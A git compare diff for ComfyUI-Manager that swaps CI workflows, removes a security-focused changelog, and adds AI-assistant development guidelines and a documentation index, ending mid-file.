Compare commits
5
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b7a8f85530 | ||
|
|
fb3a67f22c | ||
|
|
2b778fd42c | ||
|
|
05e13e7233 | ||
|
|
43647249cf |
@@ -1,74 +0,0 @@
|
||||
name: "E2E Tests on Multiple Platforms"
|
||||
on:
|
||||
push:
|
||||
branches: [main, feat/*, fix/*]
|
||||
paths:
|
||||
- "comfyui_manager/**"
|
||||
- "cm_cli/**"
|
||||
- "tests/e2e/**"
|
||||
- ".github/workflows/e2e.yml"
|
||||
pull_request:
|
||||
branches: [main]
|
||||
paths:
|
||||
- "comfyui_manager/**"
|
||||
- "cm_cli/**"
|
||||
- "tests/e2e/**"
|
||||
- ".github/workflows/e2e.yml"
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
name: "E2E (${{ matrix.os }}, py${{ matrix.python-version }})"
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 15
|
||||
env:
|
||||
PYTHONIOENCODING: "utf8"
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
python-version: ["3.10"]
|
||||
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@v4
|
||||
|
||||
- name: Set E2E_ROOT
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "$RUNNER_OS" == "Windows" ]]; then
|
||||
echo "E2E_ROOT=$RUNNER_TEMP\\e2e_env" >> "$GITHUB_ENV"
|
||||
else
|
||||
echo "E2E_ROOT=$RUNNER_TEMP/e2e_env" >> "$GITHUB_ENV"
|
||||
fi
|
||||
|
||||
- name: Setup E2E environment
|
||||
shell: bash
|
||||
env:
|
||||
MANAGER_ROOT: ${{ github.workspace }}
|
||||
run: |
|
||||
python tests/e2e/scripts/setup_e2e_env.py
|
||||
|
||||
- name: Run E2E tests
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "$RUNNER_OS" == "Windows" ]]; then
|
||||
VENV_PY="$E2E_ROOT/venv/Scripts/python.exe"
|
||||
else
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
fi
|
||||
uv pip install --python "$VENV_PY" pytest pytest-timeout
|
||||
|
||||
"$VENV_PY" -m pytest tests/cli/test_uv_compile.py -v -s --timeout=300
|
||||
@@ -0,0 +1,56 @@
|
||||
# Example: GitHub Actions workflow to auto-update test durations
|
||||
# Rename to .github/workflows/update-test-durations.yml to enable
|
||||
|
||||
name: Update Test Durations
|
||||
|
||||
on:
|
||||
schedule:
|
||||
# Run weekly on Sundays at 2 AM UTC
|
||||
- cron: '0 2 * * 0'
|
||||
workflow_dispatch: # Allow manual trigger
|
||||
|
||||
jobs:
|
||||
update-durations:
|
||||
runs-on: self-hosted
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: '3.9'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install -e .
|
||||
pip install pytest pytest-split
|
||||
|
||||
- name: Update test durations
|
||||
run: |
|
||||
chmod +x tests/update_test_durations.sh
|
||||
./tests/update_test_durations.sh
|
||||
|
||||
- name: Check for changes
|
||||
id: check_changes
|
||||
run: |
|
||||
if git diff --quiet .test_durations; then
|
||||
echo "changed=false" >> $GITHUB_OUTPUT
|
||||
else
|
||||
echo "changed=true" >> $GITHUB_OUTPUT
|
||||
fi
|
||||
|
||||
- name: Create Pull Request
|
||||
if: steps.check_changes.outputs.changed == 'true'
|
||||
uses: peter-evans/create-pull-request@v5
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
commit-message: 'chore: update test duration data'
|
||||
title: 'Update test duration data'
|
||||
body: |
|
||||
Automated update of `.test_durations` file for optimal parallel test distribution.
|
||||
|
||||
This ensures pytest-split can effectively balance test load across parallel environments.
|
||||
branch: auto/update-test-durations
|
||||
delete-branch: true
|
||||
+6
-3
@@ -22,7 +22,10 @@ build
|
||||
dist
|
||||
*.egg-info
|
||||
.env
|
||||
.git
|
||||
.claude
|
||||
test_venv
|
||||
node_modules/
|
||||
artifacts/
|
||||
.hypothesis
|
||||
|
||||
# Test artifacts
|
||||
tests/tmp/
|
||||
tests/env/
|
||||
|
||||
-200
@@ -1,200 +0,0 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to **ComfyUI-Manager** are documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog 1.1.0](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning 2.0.0](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Report the `desktop-linux` form factor to the registry for Desktop installs
|
||||
on Linux, which previously reported `other`.
|
||||
|
||||
## [4.3] - 2026-09-19
|
||||
|
||||
### Security
|
||||
|
||||
- Prevent HTML and URL injection in the legacy Manager UI while preserving
|
||||
supported formatting and links.
|
||||
- Require loopback-only listeners or `allow_flagged_nodepack_install = true`
|
||||
to install Flagged CNR versions through either Manager API. This requirement
|
||||
is additional to the existing installation security checks.
|
||||
|
||||
### Fixed
|
||||
|
||||
- Preserve administrator settings when saving configuration from the Manager UI.
|
||||
- Clear legacy install progress state when batch submission fails.
|
||||
- Attribute multiline uv dependency conflicts to the affected nodepacks while
|
||||
filtering unrelated stderr output.
|
||||
|
||||
## [4.2.2] - 2026-06-15
|
||||
|
||||
### Security
|
||||
|
||||
- **Dedicated install flags decouple git-URL / pip installs from `security_level`**:
|
||||
`POST /v2/customnode/install/git_url` and `POST /v2/customnode/install/pip`
|
||||
(and the batch install path for git URLs not in the custom-node DB) are now
|
||||
gated by two new `config.ini` `[default]` flags — `allow_git_url_install`
|
||||
and `allow_pip_install` — instead of `security_level`. Both default to
|
||||
`false` (secure by default), and a non-loopback listener stays denied unless
|
||||
`network_mode = personal_cloud` (the existing network-position invariant is
|
||||
retained — the flags never widen exposure beyond what was possible before).
|
||||
`security_level` no longer has any effect on these two endpoints, in either
|
||||
direction. The unknown-pip-package block in batch installs remains
|
||||
unconditional. Activation requires a restart (no hot reload).
|
||||
|
||||
### Migration notes
|
||||
|
||||
- **Users running `security_level = weak` or `normal-`**: these environments
|
||||
could previously use the git-URL / pip install endpoints; after upgrading
|
||||
they are denied (HTTP 403) until you explicitly opt in by setting
|
||||
`allow_git_url_install = true` and/or `allow_pip_install = true` in the
|
||||
`[default]` section of `config.ini`. The flags are NOT auto-seeded from
|
||||
your `security_level` — explicit opt-in is intentional.
|
||||
|
||||
### Fixed
|
||||
|
||||
- **pygit2 fallback hardening (Desktop 2.0)**: under `CM_USE_PYGIT2=1` the
|
||||
pygit2 backend ran `clone_repository` / `remote.fetch` honoring the user's
|
||||
global git config, so an `insteadOf` rewrite (https→ssh) or credential
|
||||
helper forced authentication and failed with *"authentication required but
|
||||
no callback set"*. The system/global/XDG config search path is now blanked
|
||||
at import time (hermetic libgit2 operations) and SSH-form GitHub URLs are
|
||||
normalized to anonymous HTTPS on clone and when opening a repo. System
|
||||
`git` is preferred when available.
|
||||
- **pygit2 fallback follow-ups**: `list_remotes()` fetches now route through
|
||||
`_fetch_remote` so the proxy and SSH→HTTPS rewrite apply to every fetch
|
||||
entry point, with `pull` provided on the proxies via a shared
|
||||
`_pull_remote` helper. `_to_https_url` now handles `ssh://git@host:port/...`
|
||||
URLs (drops the custom SSH port instead of mangling it) and collapses
|
||||
leading slashes; non-scp-form and port-only/IPv6 `ssh://` URLs are returned
|
||||
unchanged. `clone_repo` omits the `proxy=` kwarg when no proxy is
|
||||
configured (proxy-less installs keep working on pygit2 < 1.18), and pygit2
|
||||
is now pinned to `>= 1.18`.
|
||||
|
||||
## [4.2.1] - 2026-04-22
|
||||
|
||||
Security-hardening release. Contains breaking-ish API changes for
|
||||
state-mutating endpoints. See **Migration notes** below before upgrading
|
||||
programmatic clients.
|
||||
|
||||
### Security
|
||||
|
||||
- **CSRF Content-Type gate**: 18 state-mutation POST handlers (9 in `glob`, 9 in
|
||||
`legacy`) now reject the three CORS "simple request" Content-Types
|
||||
(`application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`).
|
||||
This closes the residual `<form method="POST">` bypass route that remained
|
||||
after the GET→POST transition. Legitimate clients using `application/json`
|
||||
(or no body) are unaffected.
|
||||
- **`do_fix` security level raised from `high` to `high+`**: aligns the
|
||||
enforcement gate (`is_allowed_security_level`) with the log text emitted by
|
||||
`SECURITY_MESSAGE_HIGH_P`. Both `glob/manager_server.py` and
|
||||
`legacy/manager_server.py` updated in lockstep. Environments running at
|
||||
`security_level = high` can no longer fix a nodepack — use
|
||||
`security_level = normal` or lower.
|
||||
- **Config setters now gated at `middle` security level**:
|
||||
`POST /v2/manager/db_mode`, `POST /v2/manager/policy/update`, and
|
||||
`POST /v2/manager/channel_url_list` now check
|
||||
`is_allowed_security_level('middle')` before mutating configuration (both
|
||||
`glob` and `legacy`). Closes a pre-existing gap where the write path was
|
||||
reachable at any security level. Reads (`GET`) remain unrestricted.
|
||||
|
||||
### Changed
|
||||
|
||||
- **State-changing endpoints converted from `GET` to `POST`** (CSRF hardening):
|
||||
`/v2/manager/queue/{update_all, reset, start, update_comfyui}`,
|
||||
`/v2/snapshot/{remove, restore, save}`,
|
||||
`/v2/comfyui_manager/comfyui_switch_version`,
|
||||
`/v2/manager/reboot`.
|
||||
Query-string parameters are preserved where they existed; only the HTTP
|
||||
method changes.
|
||||
- **`POST /v2/comfyui_manager/comfyui_switch_version` parameters moved from
|
||||
query string to JSON body** (REST idiom + body-reading CSRF posture):
|
||||
The handler now consumes `application/json` with the body shape
|
||||
`{"ver": "...", "client_id": "...", "ui_id": "..."}` instead of reading
|
||||
`?ver=...&client_id=...&ui_id=...` from the URL. Because body-reading
|
||||
handlers are already covered by the CORS-preflight mechanism for
|
||||
cross-origin protection, the Content-Type rejection gate introduced for
|
||||
the other state-mutation endpoints is intentionally NOT applied here
|
||||
(see `comfyui_manager/common/manager_security.py` module docstring).
|
||||
The first-party JS client in `comfyui_manager/js/comfyui-manager.js`
|
||||
was updated in the same change; third-party callers must migrate.
|
||||
- **Config endpoints split into `GET` (read) + `POST` (write)**:
|
||||
`/v2/manager/{db_mode, policy/update, channel_url_list}`. `GET` returns the
|
||||
current value; `POST` accepts a JSON body `{"value": "..."}`. The prior
|
||||
single-method form that accepted a `?value=...` query parameter on either
|
||||
verb is retired.
|
||||
- **`openapi.yaml` fully resynchronized** with the server: HTTP methods, the
|
||||
dual-method splits above, request-body schemas for the new POST setters,
|
||||
and the `TaskHistoryItem.params` field now match `manager_server.py`.
|
||||
- **Legacy `restart(self)` → `restart(request)`**: parameter name corrected.
|
||||
No behavioral change.
|
||||
|
||||
### Added
|
||||
|
||||
- **Server-push feature flag `extension.manager.supports_csrf_post`** registered
|
||||
at startup, allowing ComfyUI-frontend (and other clients) to detect
|
||||
CSRF-POST backend support as a semantic capability contract, without
|
||||
relying on version string parsing. Manager versions prior to 4.2.1 do not
|
||||
set the flag — clients should treat its absence as 'incompatible with
|
||||
POST-only state-mutation endpoints'.
|
||||
- **E2E test harness variants** for security-level and legacy-mode scenarios:
|
||||
`tests/e2e/scripts/start_comfyui_legacy.sh`,
|
||||
`tests/e2e/scripts/start_comfyui_permissive.sh`,
|
||||
`tests/e2e/scripts/start_comfyui_strict.sh`. See
|
||||
`docs/guide/GUIDE_E2E_TEST.md` for usage.
|
||||
- **`COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS` environment variable**: when
|
||||
set, skips the `manager_requirements.txt` reinstall path. Intended for E2E
|
||||
environments where those dependencies are provisioned separately.
|
||||
- **`TaskHistoryItem.params` field** (Pydantic + `openapi.yaml`): mirrors
|
||||
`QueueTaskItem.params` so that task history retains the original request
|
||||
payload (nullable when unavailable).
|
||||
- **Automated endpoint coverage** — pytest E2E + Playwright specs covering all
|
||||
39 unique `(method, path)` endpoints across `glob` and `legacy`. Coverage is
|
||||
tracked in `reports/api-coverage-matrix.md` and
|
||||
`reports/e2e_test_coverage.md`.
|
||||
|
||||
### Removed
|
||||
|
||||
- **Legacy per-operation POST routes consolidated into `POST /v2/manager/queue/batch`**:
|
||||
`/v2/manager/queue/{install, uninstall, update, fix, disable, reinstall, abort_current}`.
|
||||
The first-party JS client already uses `queue/batch`; only third-party
|
||||
scripts that call the per-operation routes directly are affected.
|
||||
- **`GET /manager/notice`** (v1, pip-install redirect banner).
|
||||
`GET /v2/manager/notice` remains available.
|
||||
|
||||
### Migration notes
|
||||
|
||||
- Third-party clients calling `POST /v2/manager/queue/install` (and the other
|
||||
per-operation queue routes) must switch to
|
||||
`POST /v2/manager/queue/batch` with a body such as
|
||||
`{"install": [{id, ver, ...}], "batch_id": "..."}`. See
|
||||
`reports/endpoint_scenarios.md` for the full payload shape.
|
||||
- Programmatic clients that posted to the CSRF-hardened endpoints with
|
||||
`application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`
|
||||
must switch to `application/json` (or omit the body entirely when the
|
||||
endpoint takes its parameters from the query string).
|
||||
- Clients that called any of the methods listed under **Changed → State-changing
|
||||
endpoints** with `GET` must switch to `POST`. Query parameters remain valid.
|
||||
- Clients that wrote configuration via
|
||||
`GET /v2/manager/{db_mode, policy/update, channel_url_list}?value=...`
|
||||
must switch to `POST` with JSON body `{"value": "..."}`.
|
||||
- Third-party scripts calling
|
||||
`POST /v2/comfyui_manager/comfyui_switch_version?ver=...&client_id=...&ui_id=...`
|
||||
must switch to `POST` with `Content-Type: application/json` and body
|
||||
`{"ver": "...", "client_id": "...", "ui_id": "..."}`. The query-string
|
||||
form no longer works.
|
||||
- Environments running at `security_level = high` can no longer run
|
||||
`do_fix`. Either lower the security level (`normal`, `normal-`, or `weak`
|
||||
as appropriate) or skip the fix operation.
|
||||
- Environments running at `security_level = high` can no longer mutate
|
||||
`db_mode`, `policy/update`, or `channel_url_list` via POST (returns `403`).
|
||||
Lower the security level to `normal` or below to change configuration, or
|
||||
perform the change from a trusted entry point. Read access via `GET` is
|
||||
unaffected.
|
||||
|
||||
[4.3]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.2.2...v4.3
|
||||
[4.2.2]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.2.1...v4.2.2
|
||||
[4.2.1]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.1b6...v4.2.1
|
||||
@@ -0,0 +1,170 @@
|
||||
# CLAUDE.md - Development Guidelines
|
||||
|
||||
## Project Context
|
||||
This is ComfyUI Manager, a Python package that provides management functions for ComfyUI custom nodes, models, and extensions. The project follows modern Python packaging standards and maintains both current (`glob`) and legacy implementations.
|
||||
|
||||
## Code Architecture
|
||||
- **Current Development**: Work in `comfyui_manager/glob/` package
|
||||
- **Legacy Code**: `comfyui_manager/legacy/` (reference only, do not modify unless explicitly asked)
|
||||
- **Common Utilities**: `comfyui_manager/common/` for shared functionality
|
||||
- **Data Models**: `comfyui_manager/data_models/` for API schemas and types
|
||||
|
||||
## Development Workflow for API Changes
|
||||
When modifying data being sent or received:
|
||||
1. Update `openapi.yaml` file first
|
||||
2. Verify YAML syntax using `yaml.safe_load`
|
||||
3. Regenerate types following `data_models/README.md` instructions
|
||||
4. Verify new data model generation
|
||||
5. Verify syntax of generated type files
|
||||
6. Run formatting and linting on generated files
|
||||
7. Update `__init__.py` files in `data_models` to export new models
|
||||
8. Make changes to rest of codebase
|
||||
9. Run CI tests to verify changes
|
||||
|
||||
## Coding Standards
|
||||
### Python Style
|
||||
- Follow PEP 8 coding standards
|
||||
- Use type hints for all function parameters and return values
|
||||
- Target Python 3.9+ compatibility
|
||||
- Line length: 120 characters (as configured in ruff)
|
||||
|
||||
### Security Guidelines
|
||||
- Never hardcode API keys, tokens, or sensitive credentials
|
||||
- Use environment variables for configuration
|
||||
- Validate all user input and file paths
|
||||
- Use prepared statements for database operations
|
||||
- Implement proper error handling without exposing internal details
|
||||
- Follow principle of least privilege for file/network access
|
||||
|
||||
### Code Quality
|
||||
- Write descriptive variable and function names
|
||||
- Include docstrings for public functions and classes
|
||||
- Handle exceptions gracefully with specific error messages
|
||||
- Use logging instead of print statements for debugging
|
||||
- Maintain test coverage for new functionality
|
||||
|
||||
## Dependencies & Tools
|
||||
### Core Dependencies
|
||||
- GitPython, PyGithub for Git operations
|
||||
- typer, rich for CLI interface
|
||||
- transformers, huggingface-hub for AI model handling
|
||||
- uv for fast package management
|
||||
|
||||
### Development Tools
|
||||
- **Linting**: ruff (configured in pyproject.toml)
|
||||
- **Testing**: pytest with coverage
|
||||
- **Pre-commit**: pre-commit hooks for code quality
|
||||
- **Type Checking**: Use type hints, consider mypy for strict checking
|
||||
|
||||
## File Organization
|
||||
- Keep business logic in appropriate modules under `glob/`
|
||||
- Place utility functions in `common/` for reusability
|
||||
- Store UI/frontend code in `js/` directory
|
||||
- Maintain documentation in `docs/` with multilingual support
|
||||
|
||||
### Large Data Files Policy
|
||||
- **NEVER read .json files directly** - These contain large datasets that cause unnecessary token consumption
|
||||
- Use `JSON_REFERENCE.md` for understanding JSON file structures and schemas
|
||||
- Work with processed/filtered data through APIs when possible
|
||||
- For structure analysis, refer to data models in `comfyui_manager/data_models/` instead
|
||||
|
||||
## Git Workflow
|
||||
- Work on feature branches, not main directly
|
||||
- Write clear, descriptive commit messages
|
||||
- Run tests and linting before committing
|
||||
- Keep commits atomic and focused
|
||||
|
||||
## Testing Requirements
|
||||
|
||||
### ⚠️ Critical: Always Reinstall Before Testing
|
||||
**ALWAYS run `uv pip install .` before executing tests** to ensure latest code changes are installed.
|
||||
|
||||
### Test Execution Workflow
|
||||
```bash
|
||||
# 1. Reinstall package (REQUIRED)
|
||||
uv pip install .
|
||||
|
||||
# 2. Clean Python cache
|
||||
find comfyui_manager -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null
|
||||
find tests/env -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null
|
||||
|
||||
# 3. Stop any running servers
|
||||
pkill -f "ComfyUI/main.py"
|
||||
sleep 2
|
||||
|
||||
# 4. Start ComfyUI test server
|
||||
cd tests/env
|
||||
python ComfyUI/main.py --enable-compress-response-body --enable-manager --front-end-root front > /tmp/test-server.log 2>&1 &
|
||||
sleep 20
|
||||
|
||||
# 5. Run tests
|
||||
python -m pytest tests/glob/test_version_switching_comprehensive.py -v
|
||||
|
||||
# 6. Stop server
|
||||
pkill -f "ComfyUI/main.py"
|
||||
```
|
||||
|
||||
### Test Development Guidelines
|
||||
- Write unit tests for new functionality
|
||||
- Test error handling and edge cases
|
||||
- Ensure tests pass before submitting changes
|
||||
- Use pytest fixtures for common test setup
|
||||
- Document test scenarios and expected behaviors
|
||||
|
||||
### Why Reinstall is Required
|
||||
- Even with editable install, some changes require reinstallation
|
||||
- Python bytecode cache may contain outdated code
|
||||
- ComfyUI server loads manager package at startup
|
||||
- Package metadata and entry points need to be refreshed
|
||||
|
||||
### Automated Test Execution Policy
|
||||
**IMPORTANT**: When tests need to be run (e.g., after code changes, adding new tests):
|
||||
- **ALWAYS** automatically perform the complete test workflow without asking user permission
|
||||
- **ALWAYS** stop existing servers, restart fresh server, and run tests
|
||||
- **NEVER** ask user "should I run tests?" or "should I restart server?"
|
||||
- This includes: package reinstall, cache cleanup, server restart, test execution, and server cleanup
|
||||
|
||||
**Rationale**: Testing is a standard part of development workflow and should be executed automatically to verify changes.
|
||||
|
||||
See `.claude/livecontext/test_execution_best_practices.md` for detailed testing procedures.
|
||||
|
||||
## Command Line Interface
|
||||
- Use typer for CLI commands
|
||||
- Provide helpful error messages and usage examples
|
||||
- Support both interactive and scripted usage
|
||||
- Follow Unix conventions for command-line tools
|
||||
|
||||
## Performance Considerations
|
||||
- Use async/await for I/O operations where appropriate
|
||||
- Cache expensive operations (GitHub API calls, file operations)
|
||||
- Implement proper pagination for large datasets
|
||||
- Consider memory usage when processing large files
|
||||
|
||||
## Code Change Proposals
|
||||
- **Always show code changes using VSCode diff format**
|
||||
- Use Edit tool to demonstrate exact changes with before/after comparison
|
||||
- This allows visual review of modifications in the IDE
|
||||
- Include context about why changes are needed
|
||||
|
||||
## Documentation
|
||||
- Update README.md for user-facing changes
|
||||
- Document API changes in openapi.yaml
|
||||
- Provide examples for complex functionality
|
||||
- Maintain multilingual docs (English/Korean) when relevant
|
||||
|
||||
## Session Context & Decision Documentation
|
||||
|
||||
### Live Context Policy
|
||||
**Follow the global Live Context Auto-Save policy** defined in `~/.claude/CLAUDE.md`.
|
||||
|
||||
### Project-Specific Context Requirements
|
||||
- **Test Execution Results**: Always save comprehensive test results to `.claude/livecontext/`
|
||||
- Test count, pass/fail status, execution time
|
||||
- New tests added and their purpose
|
||||
- Coverage metrics and improvements
|
||||
- **CNR Version Switching Context**: Document version switching behavior and edge cases
|
||||
- Update vs Install operation differences
|
||||
- Old version handling (preserved vs deleted)
|
||||
- State management insights
|
||||
- **API Changes**: Document OpenAPI schema changes and data model updates
|
||||
- **Architecture Decisions**: Document manager_core.py and manager_server.py design choices
|
||||
@@ -0,0 +1,187 @@
|
||||
# ComfyUI Manager Documentation Index
|
||||
|
||||
**Last Updated**: 2025-11-04
|
||||
**Purpose**: Navigate all project documentation organized by purpose and audience
|
||||
|
||||
---
|
||||
|
||||
## 📖 Quick Links
|
||||
|
||||
- **Getting Started**: [README.md](README.md)
|
||||
- **User Documentation**: [docs/](docs/)
|
||||
- **Test Documentation**: [tests/glob/](tests/glob/)
|
||||
- **Contributing**: [CONTRIBUTING.md](CONTRIBUTING.md)
|
||||
- **Development**: [CLAUDE.md](CLAUDE.md)
|
||||
|
||||
---
|
||||
|
||||
## 📚 Documentation Structure
|
||||
|
||||
### Root Level
|
||||
|
||||
| Document | Purpose | Audience |
|
||||
|----------|---------|----------|
|
||||
| [README.md](README.md) | Project overview and quick start | Everyone |
|
||||
| [CONTRIBUTING.md](CONTRIBUTING.md) | Contribution guidelines | Contributors |
|
||||
| [CLAUDE.md](CLAUDE.md) | Development guidelines for AI-assisted development | Developers |
|
||||
| [JSON_REFERENCE.md](JSON_REFERENCE.md) | JSON file schema reference | Developers |
|
||||
|
||||
### User Documentation (`docs/`)
|
||||
|
||||
| Document | Purpose | Language |
|
||||
|----------|---------|----------|
|
||||
| [docs/README.md](docs/README.md) | Documentation overview | English |
|
||||
| [docs/PACKAGE_VERSION_MANAGEMENT.md](docs/PACKAGE_VERSION_MANAGEMENT.md) | Package version management guide | English |
|
||||
| [docs/SECURITY_ENHANCED_INSTALLATION.md](docs/SECURITY_ENHANCED_INSTALLATION.md) | Security features for URL installation | English |
|
||||
| [docs/en/cm-cli.md](docs/en/cm-cli.md) | CLI usage guide | English |
|
||||
| [docs/en/use_aria2.md](docs/en/use_aria2.md) | Aria2 download configuration | English |
|
||||
| [docs/ko/cm-cli.md](docs/ko/cm-cli.md) | CLI usage guide | Korean |
|
||||
|
||||
### Package Documentation
|
||||
|
||||
| Package | Document | Purpose |
|
||||
|---------|----------|---------|
|
||||
| comfyui_manager | [comfyui_manager/README.md](comfyui_manager/README.md) | Package overview |
|
||||
| common | [comfyui_manager/common/README.md](comfyui_manager/common/README.md) | Common utilities documentation |
|
||||
| data_models | [comfyui_manager/data_models/README.md](comfyui_manager/data_models/README.md) | Data model generation guide |
|
||||
| glob | [comfyui_manager/glob/CLAUDE.md](comfyui_manager/glob/CLAUDE.md) | Glob module development guide |
|
||||
| js | [comfyui_manager/js/README.md](comfyui_manager/js/README.md) | JavaScript components |
|
||||
|
||||
### Test Documentation (`tests/`)
|
||||
|
||||
| Document | Purpose | Status |
|
||||
|----------|---------|--------|
|
||||
| [tests/TEST.md](tests/TEST.md) | Testing overview | ✅ |
|
||||
| [tests/glob/README.md](tests/glob/README.md) | Glob API endpoint tests | ✅ Translated |
|
||||
| [tests/glob/TESTING_GUIDE.md](tests/glob/TESTING_GUIDE.md) | Test execution guide | ✅ |
|
||||
| [tests/glob/TEST_INDEX.md](tests/glob/TEST_INDEX.md) | Test documentation unified index | ✅ Translated |
|
||||
| [tests/glob/TEST_LOG.md](tests/glob/TEST_LOG.md) | Test execution log | ✅ Translated |
|
||||
|
||||
### Node Database
|
||||
|
||||
| Document | Purpose |
|
||||
|----------|---------|
|
||||
| [node_db/README.md](node_db/README.md) | Node database information |
|
||||
|
||||
---
|
||||
|
||||
## 🔒 Internal Documentation (`docs/internal/`)
|
||||
|
||||
### CLI Migration (`docs/internal/cli_migration/`)
|
||||
|
||||
Historical documentation for CLI migration from legacy to glob module (completed).
|
||||
|
||||
| Document | Purpose |
|
||||
|----------|---------|
|
||||
| [README.md](docs/internal/cli_migration/README.md) | Migration plan overview |
|
||||
| [CLI_COMPATIBILITY_ANALYSIS.md](docs/internal/cli_migration/CLI_COMPATIBILITY_ANALYSIS.md) | Legacy vs Glob compatibility analysis |
|
||||
| [CLI_IMPLEMENTATION_CONTEXT.md](docs/internal/cli_migration/CLI_IMPLEMENTATION_CONTEXT.md) | Implementation context |
|
||||
| [CLI_IMPLEMENTATION_TODO.md](docs/internal/cli_migration/CLI_IMPLEMENTATION_TODO.md) | Implementation checklist |
|
||||
| [CLI_PURE_GLOB_MIGRATION_PLAN.md](docs/internal/cli_migration/CLI_PURE_GLOB_MIGRATION_PLAN.md) | Technical migration specification |
|
||||
| [CLI_GLOB_API_REFERENCE.md](docs/internal/cli_migration/CLI_GLOB_API_REFERENCE.md) | Glob API reference |
|
||||
| [CLI_IMPLEMENTATION_CONSTRAINTS.md](docs/internal/cli_migration/CLI_IMPLEMENTATION_CONSTRAINTS.md) | Migration constraints |
|
||||
| [CLI_TESTING_CHECKLIST.md](docs/internal/cli_migration/CLI_TESTING_CHECKLIST.md) | Testing checklist |
|
||||
| [CLI_SHOW_LIST_REVISION.md](docs/internal/cli_migration/CLI_SHOW_LIST_REVISION.md) | show_list implementation plan |
|
||||
|
||||
### Test Planning (`docs/internal/test_planning/`)
|
||||
|
||||
Internal test planning documents (in Korean).
|
||||
|
||||
| Document | Purpose | Language |
|
||||
|----------|---------|----------|
|
||||
| [TEST_PLAN_ADDITIONAL.md](docs/internal/test_planning/TEST_PLAN_ADDITIONAL.md) | Additional test scenarios | Korean |
|
||||
| [COMPLEX_SCENARIOS_TEST_PLAN.md](docs/internal/test_planning/COMPLEX_SCENARIOS_TEST_PLAN.md) | Complex multi-version test scenarios | Korean |
|
||||
|
||||
---
|
||||
|
||||
## 📋 Documentation by Audience
|
||||
|
||||
### For Users
|
||||
1. [README.md](README.md) - Start here
|
||||
2. [docs/en/cm-cli.md](docs/en/cm-cli.md) - CLI usage
|
||||
3. [docs/PACKAGE_VERSION_MANAGEMENT.md](docs/PACKAGE_VERSION_MANAGEMENT.md) - Version management
|
||||
|
||||
### For Contributors
|
||||
1. [CONTRIBUTING.md](CONTRIBUTING.md) - Contribution process
|
||||
2. [CLAUDE.md](CLAUDE.md) - Development guidelines
|
||||
3. [comfyui_manager/data_models/README.md](comfyui_manager/data_models/README.md) - Data model workflow
|
||||
|
||||
### For Developers
|
||||
1. [CLAUDE.md](CLAUDE.md) - Development workflow
|
||||
2. [comfyui_manager/glob/CLAUDE.md](comfyui_manager/glob/CLAUDE.md) - Glob module guide
|
||||
3. [JSON_REFERENCE.md](JSON_REFERENCE.md) - Schema reference
|
||||
4. [docs/PACKAGE_VERSION_MANAGEMENT.md](docs/PACKAGE_VERSION_MANAGEMENT.md) - Package management internals
|
||||
|
||||
### For Testers
|
||||
1. [tests/TEST.md](tests/TEST.md) - Testing overview
|
||||
2. [tests/glob/TEST_INDEX.md](tests/glob/TEST_INDEX.md) - Test documentation index
|
||||
3. [tests/glob/TESTING_GUIDE.md](tests/glob/TESTING_GUIDE.md) - Test execution guide
|
||||
|
||||
---
|
||||
|
||||
## 🔄 Documentation Maintenance
|
||||
|
||||
### When to Update
|
||||
- **README.md**: Project structure or main features change
|
||||
- **CLAUDE.md**: Development workflow changes
|
||||
- **Test Documentation**: New tests added or test structure changes
|
||||
- **User Documentation**: User-facing features change
|
||||
- **This Index**: New documentation added or reorganized
|
||||
|
||||
### Documentation Standards
|
||||
- Use clear, descriptive titles
|
||||
- Include "Last Updated" date
|
||||
- Specify target audience
|
||||
- Provide examples where applicable
|
||||
- Keep language simple and accessible
|
||||
- Translate user-facing docs to Korean when possible
|
||||
|
||||
---
|
||||
|
||||
## 🗂️ File Organization
|
||||
|
||||
```
|
||||
comfyui-manager/
|
||||
├── DOCUMENTATION_INDEX.md (this file)
|
||||
├── README.md
|
||||
├── CONTRIBUTING.md
|
||||
├── CLAUDE.md
|
||||
├── JSON_REFERENCE.md
|
||||
├── docs/
|
||||
│ ├── README.md
|
||||
│ ├── PACKAGE_VERSION_MANAGEMENT.md
|
||||
│ ├── SECURITY_ENHANCED_INSTALLATION.md
|
||||
│ ├── en/
|
||||
│ │ ├── cm-cli.md
|
||||
│ │ └── use_aria2.md
|
||||
│ ├── ko/
|
||||
│ │ └── cm-cli.md
|
||||
│ └── internal/
|
||||
│ ├── cli_migration/ (9 files - completed migration docs)
|
||||
│ └── test_planning/ (2 files - Korean test plans)
|
||||
├── comfyui_manager/
|
||||
│ ├── README.md
|
||||
│ ├── common/README.md
|
||||
│ ├── data_models/README.md
|
||||
│ ├── glob/CLAUDE.md
|
||||
│ └── js/README.md
|
||||
├── tests/
|
||||
